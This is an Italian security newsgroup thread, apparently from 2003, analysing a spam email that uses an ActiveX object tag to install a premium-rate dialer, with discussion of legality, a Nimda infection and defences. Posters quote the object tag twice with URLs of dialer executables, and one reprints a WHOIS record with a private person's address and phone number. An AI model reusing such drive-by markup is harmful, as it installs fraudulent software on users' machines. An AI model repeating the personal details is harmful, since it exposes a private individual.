Newsgroup: it.comp.sicurezza.windows
Titolo: strano spam. exploit ?

codebase="
http://quicksitebuilder.cnet.com/jessicamary/varie2.exe
"
L'ho scaricato tanto per dargli un'occhiata. E' un dialer scritto con
il Microsoft Visual C++ e fa questi numeri:
030131155750
040131155750
e chiama i server della BEWEB SRL di Reggio Calabria.
Fa pure riferimento ad una una certificazione digitale presso la
Thawte Consulting di Citta' del Capo (SudAfrica).
Lo stesso dialer e' distribuito anche tramite 
www.calendari-2004.com
di Palermo.
Va comunque riconosciuto che sul sito dei calendari e' scritto a
chiare lettere il costo della telefonata e quindi l'utente e' libero
di scegliere.
Per quanto fastidioso possa essere, il loro comportamento e'
legalmente corretto, tocca all'utente guardarsi da se'.
-- 
ciao, hal

 legalmente corretto, tocca all'utente guardarsi da se'.
Non diciamo fesserie, lo spam non e' corretto, men che meno se utilizza
activex certificati come "safe for scripting", come in quel caso.
In piu' il fatto che sul sito (non sulla mail) sia scritto a chiare
lettere che la telefonata e' a pagamento (probabilmente viene
visualizzato *dopo* che la connessione e' avviata, quindi a danno gia'
fatto) e' una presa per i culo, oltre che un reato.
a questo punto, a chi ci fosse cascato, consiglio denuncia a polizia
postale (possibilemente senza disinstallare il dialer e tutto il resto)
e alle associazioni di consumatori.
-- 
HappyCactus - Linux User #209744 - 
http://pngstego.sourceforge.net
 
 
www.google.com
 - 
groups.google.com
/* Ci sono 10 categorie di persone al mondo: quelle che capiscono */
/* il sistema binario e quelle che non lo capiscono.              */

visualizzato *dopo* che la connessione e' avviata, 
Il sito dei calendari e' raggiungibile con una qualsiasi connessione.
No so invece se le info sul costo di collegamento in caso di
esecuzione del dialer perche' non l'ho eseguito, ho solo aperto il
file.
-- 
ciao, hal

 activex certificati come "safe for scripting", come in quel caso.
Nell'exe stesso ci sono tutti gli avvisi possibili... purtroppo non vengono
visualizzati, ma viene _solo_ creata una connessione di accesso remoto,
settata come default, sconnesso l'attuale e lanciata la nuova.
(Sě, l'ho lanciato :-), tanto sto per formattare quella macchina.
E, no, il modem non č attaccato :-) )
Bye, G.

 la nuova.
"solo"...
uhm...


 uhm...
Scusa, eh, avevo lasciato la Ironia.dll caricata... :-P
Bye, G.

Scusa, eh, avevo lasciato la Ironia.dll caricata... :-P
Ecco, poi diamo la colpa a windows che consuma risorse... :-P
-- 
ciao, hal

 Scusa, eh, avevo lasciato la Ironia.dll caricata... :-P
ps aux | grep irony
root       242  0.0  0.3  1960 1128 ?        S    09:24   0:00
/usr/local/sbin/ironyd


fatto) e' una presa per i culo, oltre che un reato.
E' un reato anche se, all'atto dell'installazione del dialer, ti viene
presentata la classica schermata "accetti/rifiuti il contratto" in cui
sta scritto che la telefonata è a pagamento?
Te lo chiedo per curiosità, perchè ne ho visti diversi con questo
comportamento...
IMHO se uno si scarica un dialer (quindi non parlo di spam, quello
sono d'accordo che è scorretto), magari incluso in qualche programma
tipo web-cam, suonerie, loghi, ecc e risponde sì alla domanda di cui
sopra... beh, non so fino a che punto poi possa protestare col
fornitore del servizio...
\
-= Per rispondere in e-mail, togliere 'abc' dall'indirizzo.
-= ICQ: 55874121

 fornitore del servizio...
ci si potrebbe discutere parecchio, fermo restando i punti di cui sopra.
i reati contestabili sono la truffa e (in certi casi) il danneggiamento
di sistemi informatici (AFAIR).
Qui ci vorrebbe pero' un leguleio... parsifaaaaal ;)


 E, no, il modem non č attaccato :-) )
io ho beccato un malicious ieri, che era passato attraverso SIA la
disabilitazione di Java SIA dei controlli ActiveX, con script disabilitato
(autorizzazione, me levo pure quella...) SIA NIS, SIA Ad-aware...
non ha lasciato la minima traccia su nulla, registro di configurazione, log,
nulla.
Al riavvio, ho trovato 311 virus di classe Nimda sul sistema... Ora, non ho
idea su COSA il collega stesse visualizzando, o su quale sito sia andato, ma
me ne vengono in mente tanti di possibili.
ciao
qu

 fornitore del servizio...
Genericamente, li dividerei in determinate categorie:
Dialer internazionali, in lingue diverse dall'italiano. Qui, il vincolo
criminogenico e il luogo del contendere sono spesso lo spazio estero, e/o il
paese in cui risiede il server atto dell'eventuale illecito. In questo
particolare caso, poco da fare, a meno che entrambi siano luoghi di
applicazione del diritto di paesi membri dell'UE (es: dialer in tedesco che
chiami numero della Nuova Caledonia)
Dialer Nazionali. In questo caso, il reato pur perfezionandosi al di fuori
della normale giurisdizione italiana, è commesso da cittadini italiani e/o
tramite mezzi idonei creati/modificati da siti in lingua italiana: per fare
un esempio vige la regola della perseguibilità del crimine del cittadino
italiano, commesso all'estero, nei confronti di altro cittadino italiano.
Dialer ''extra spazio di Schengen, o al di là dell'OMC" In questo caso, la
possibilità di agire è nulla. Alcune nazioni NON perseguono i reati legati
all'hacking, recependo pienamente la visione dell'Homebrew Club (Finlandia),
oppure, semplicemente, non perseguono alcun tipo di reato (Brasile, ma in
via di definizione, Taiwan, che non riconosce L'OMC, Russia, ex URSS, vari
paesi dell'est europeo). In tal caso, è condannabile e perseguibile solo
l'uso fatto o permesso dal cittadino italiano (es: copia del sito in locale
hostato in server .ru) Non esiste, a tutt'oggi, casisitica della Cassazione
a cui fare riferimento. La nuova legge sul Copyright, nell'ansia di
difendere le Major, non tratta il problema.
Quindi: la chiamata ai danni, ammesso che sia possibile, è fortemente
limitata dai casi sopradetti.
Non è ammissibile, d'altronde, rivolgersi alla giustizia estera: in alcuni
casi in assoluto, in altri casi è semplicemente infruttuoso.
Di fatto, il sistema TCPA e quello Palladium, NON metteranno alcun ordine
nella materia, dato che nulla osta che un dialer sia regolarmente
''certificato'' come software sicuro, non provocando problemi di sicurezza.
La legge sulla privacy sarebbe un limite, ma, essendo il fenomeno TCPA un
fenomeno sottoposto alle norme del diritto americano, il Clinton Privacy
Act -potrebbe- per quel che ne rimane, essere usato da scudo nella
deverifica delle funzionalità effettive del sofware in oggetto. Non
dimentichiamo, poi, che essendo tale fenomeno internazionale, nulla vita
sorgano software autorizzati da agenzie estere, per così dire, ''infedeli''
nel corso degli anni.
IMHO, quindi, l'unica difesa dai dialer è una linea fissa: anzi qui mi sorge
il legittimo sospetto che, in molti casi, l'esistenza stessa dei Dialer sia
il miglior veicolo pubblicitario in assoluto, capitone il meccanismo
frodatorio, delle linee dedicate, qualsiasi esse siano.
Sperando abbiate gradito la lunga e scritta di getto disanima (nonostante
mancanze e imperfezioni)
--
qu
per l'occasione nel suo ruolo di avvocato di diritto informatico e
internettizzato.

 Qui ci vorrebbe pero' un leguleio... parsifaaaaal ;)
se ti accontenti... leggi sopra.
IMHO, danneggiamento no: il sw non è danneggiabile, salvo casi particolari.
Altrimenti la Microsoft sarebbe andata in rovina da decenni :)
ciao
qu

me ne vengono in mente tanti di possibili.
In quel caso e' stato probabilmente sfruttato il classico buffer
overflow nell'accesso a qualche servizio oppure qualche url malformata
che ha buggerato IE. Avevi IIS in funzione, per esempio?
-- 
ciao, hal

mancanze e imperfezioni)
Per quanto mi riguarda, ho letto tutto volentieri.
-- 
ciao, hal

 ciao, hal
ciao e grazie
qu

 Avevi IIS in funzione, per esempio?
Alleluia! Alfine ci siamo arrivati, eh? :-) Comunque ci sono altre vie
di infezione di nimda ma _tutte_ risolvibili con il banale aggiornamento
del software (aggiornamenti disponibili da 2 anni) o una password sulle 
share.
 
Fabio

 software e non possa eseguire script.
Se viene bloccato l'accesso in scrittura al file Rasphone.pbk, per tutti
gli utenti, i dialer non sono piu' in grado di connettersi in quanto non
possono piu' creare la connessione.
-- 
     * b *
   *   y   *
 *   Piero   *

 share.
eh, spiacente, ma io NON ho IIS installato.
Comunque, ho scoperto la ''fonte'' come scrivevo poco sopra, e tutto sommato
era un portatile infetto... il massimo dei minimi.
ciao
qu

possono piu' creare la connessione.
Grazie mille, a questo non avevo pensato :-)
-- 
ciao, hal

 era un portatile infetto... il massimo dei minimi.
Ma hai letto anche il resto della frase? E del post? Il portatile sara' 
stato anche il... portatore, ma non avrebbe dovuto poter fare nulla se 
l'altra macchina non fosse stata vulnerabile, anche se in effetti non 
e' molo chiara la situazione. Una cosa e' abbastanza certa: nimda non 
e' passato attraverso i documenti word che hai trasferito, ma attraverso 
la rete.
Fabio

 del servizio...
Deve essere anche chiaro quale servizio viene offerto *prima* di pagare.
In tal caso, per l'utente non è difficile dimostrare che è stato
raggirato; è vero che è a conoscenza della tariffa ma non sa a priori per
cosa paga, ovvero manca un buon 50% dell'informazione (a essere buoni). 
E non si può dire che è marginale, visto che una buona parte dei dialer
giocano pesantemente su questo equivoco: nessuna mente sana non raggirata
può essere consapevole di collegarsi a 5 cent al secondo e scaricare un
video porno di qualche minuto al costo del noleggio di 100 videocassette.
 

 la rete.
si ho letto tutto, ma magari non sono stato chiaro su alcune cose,
riepilogo:
allora, diciamo ora x: sistema totalmente pulito.
ora x+1, il portatile viene connesso alla rete, tcp/ip settato manualmente,
per scaricare sul server delle cartelle e dei file.
Ora x+2, lancio antivirus, sistema pulito -partizione principale pulita-
MA, nelle varie cartelle/directory usate per _scaricare tali documenti_ ma
me ne accorgo solo dopo, trovo 311 diverse versioni del virus.
Inizialmente, penso si tratti di un'infezione locale, solo indagando bene,
_dopo_ in base alla data della creazione delle cartelle, mi accorgoche le
medesime erano TUTTE state create da... remoto oppure già infettate.
Niente di che, credo sia una situazione abbastanza normale. Per cui, mi sono
limitato a fare un'indaginuccia interna e a prendere a parolaccie chi di
dovere.
Sai la mia soluzione in cosa è consistita?
Nel disabilitare l'accesso con le password di tutti gli altri. In più,
recupero un vecchio server con athlon 650, e ci monto sopra Linux Suse.
D'ora in poi (diciamo dopo Pasqua) si passa da quello. Ora una domanda:
esiste un antivirus che giri sotto linux che controlli la eventuale presenza
di virus ANCHE windows like, come per l'appunto nimda, _prima_ che possano
andare in giro a far danni?
Ciao
qu

 andare in giro a far danni?
Rimanendo in campo open source la scansione in real-time, o on-access,
per samba puo' essere implementata con una patch che ne richiede la 
ricompilazione, e' solo una proof-of-concept e supporta solo motori 
antivirus commerciali (si chiama samba-vscan). Esistono prodotti
commerciali (es. serverprotect di trendmicro) che possono farlo.
Per il resto, tutti gli antivirus per *nix riconoscono il malware per 
piattaforma windows.
Fabio

cosa paga, ovvero manca un buon 50% dell'informazione (a essere buoni). 
Cosi' come i contratti sulla telefonia cellulare, i conti correnti, le
polizze di assicurazione, ecc. ecc.
Forse il vero problema e' un po' piu' in alto :-(
-- 
ciao, hal

 polizze di assicurazione, ecc. ecc.
Ehi, non facciamo troppa retorica. 
A mio modesto parere: certe compagnie/categorie facciano spesso contratti
non chiari è fuori discussione, ma se confondiamo una banca o una
compagnia telefonica con il Maestro di Vita Do Rinascimiento vuol dire che
come consumatori non si vale una cicca.
 

come consumatori non si vale una cicca.
A giudicare dai servizi trasmessi da Mi manda Rai3 e Le iene penso
proprio che tu abbia ragione.
--  
ciao, hal

 piattaforma windows.
ok, e tanto mi basta. TrendMicro sia
ciao e grazie
qu

nella mail nessuno mi dice niente ?
E' il CLSID dell' activeX varie2.exe.
Se guardi il sorgente
<object CLASSID="CLSID:FFFF0003-0001-101A-A3C9-08002B2F49FB"
codebase="
http://quicksitebuilder.cnet.com/jessicamary/varie2.exe
"
width="0" height="0" id="A">
</object>
significa che viene istanziato un activeX con CLSID quel numeraccio e
contenuto nell'eseguibile indicato da codebase.
Ovviamente il tutto funziona se gli activeX sono abilitati, altrimenti
lo script se ne sta buono buono.
-- 
ciao, hal

E' il CLSID dell' activeX varie2.exe.
E invece mi sono sbagliato :-(
Il CLSID fa riferimento ad un oggetto di 
mydialer.net
.
Vediamo un po' chi sono:
  Domain Name: 
MYDIALER.NET
  Registrar: KEY-SYSTEMS GMBH
  Whois Server: 
whois.rrpproxy.net
  Referral URL: 
http://www.key-systems.net
  Name Server: 
NS3.DOMINIANDO.IT
  Name Server: 
NS4.DOMINIANDO.IT
  Status: ACTIVE
  Updated Date: 04-apr-2003
  Creation Date: 23-jan-2003
  Expiration Date: 23-jan-2005
DOMAIN: 
MYDIALER.NET
RSP: siscoit
URL: 
http://www.dominiando.it
created-date: 2003-01-23
updated-date: 2003-04-04
registration-expiration-date: 2005-0
owner-contact: O-MAU23
owner-organization: Maurizio Previta
owner-street: Via F. Figliolia, 7
owner-city: Foggia
owner-state: FG
owner-zip: 71100
owner-country: IT
owner-email: 
far...@supereva.it
admin-contact: P-MMP29
admin-organization: Maurizio Previta
admin-fname: Maurizio
admin-lname: Previtali
admin-street: Via F. Figliolia, 7
admin-city: Foggia
admin-state: FG
admin-zip: 71100
admin-country: IT
admin-phone: 
3475738488
admin-email: 
far...@supereva.it
tech-contact: P-DXD21
tech-organization: Dominiando
tech-title: Org
tech-fname: Dominiando
tech-lname: DManagement
tech-street: Ple Clodio 8
tech-city: Rome
tech-state: Italy
tech-zip: 00195
tech-country: IT
tech-phone: 
+39.068072248
tech-fax: 
+39.06233200178
tech-email: 
dom...@dominiando.it
billing-contact: P-DXD21
billing-organization: Dominiando
billing-title: Org
billing-fname: Dominiando
billing-lname: DManagement
billing-street: Ple Clodio 8
billing-city: Rome
billing-state: Italy
billing-zip: 00195
billing-country: IT
billing-phone: 
+39.068072248
billing-fax: 
+39.06233200178
billing-email: 
dom...@dominiando.it
nameserver: 
ns3.dominiando.it
nameserver: 
ns4.dominiando.it
E, prima che sparisca dalla cache di google (nel caso me la sono
salvata in locale ;-) guarda un po' qui per farti un' idea (ricomponi
il link se il newsreader te lo spezza):
http://216.239.51.100/search?q=cache:sv7m6YDW8IkC:www.tuttodialer.net/forum/topic.asp%3FTOPIC_ID%3D979+FFFF0003-0001-101A-A3C9-08002B2F49FB&hl=en&ie=UTF-8
E se fai un whois su di loro vedrai che sono gli stessi descritti
sopra.
Lo stesso dialer e' nascosto qui, in
http://www.adultsexguide.it/galleries/premium3.htm
<div align="center"><object id="A"
CLASSID="CLSID:FFFF0003-0001-101A-A3C9-08002B2F49FB"
codebase="
http://adultsexguide.it/pornogratis.exe
">
Insomma, ci vuole il preservativo anche con i siti porno ;-)
-- 
ciao, hal

 nella mail nessuno mi dice niente ?
Il CLSID:FFFF0003-0001-101A-A3C9-08002B2F49FB si riferisce ad un activex
utilizzato per [tentare] d'installare l'eseguibile.  Dico tentare perché
ormai nemmeno OE aggiornato lo permette senza il tuo consenso.
Il codice che hai postato risulta comunque incompleto,  per [tentare] l'
installazione, non essendoci né uno script, né un link che punta all'exe
e nemmeno un <iframe> per farlo automaticamente.  E poi, hai controllato
la mail dalle proprietà per vedere  se realmente conteneva l'eseguibile?
Ritengo comunque che, per farti del male avresti dovuto cliccare il link
"Le foto della guerra su internet", che ti avrebbe portato nella pagina:
"
http://quicksitebuilder.cnet.com/jessicamary
", dove sicuramente avresti
trovato un link,  cliccato il quale,  avresti ricevuta una richiesta per
autorizzare il download del file, che poi avresti dovuto installare! :-D


 quanto non possono piu' creare la connessione.
Una chiamata diretta al modem per la connessione non modifica il
rasphone.
Diciamo che per ora funziona bloccare in un modo, un domani potrebbe non
funzionare piu'.
-- 
   => Don't Let Your Fears Stand in The Way of Your Dreams !!! <=
 
http://www.delymyth.net/
 ~ 
http://www.stores.ebay.it/delymythsstore/
 ICQ: 8761263 - MSN: 
dely...@msn.com
 E-Mail: 
DEly...@despammed.com
           => FREE! Hardware Anti-Virus!!! - /dev/brain <=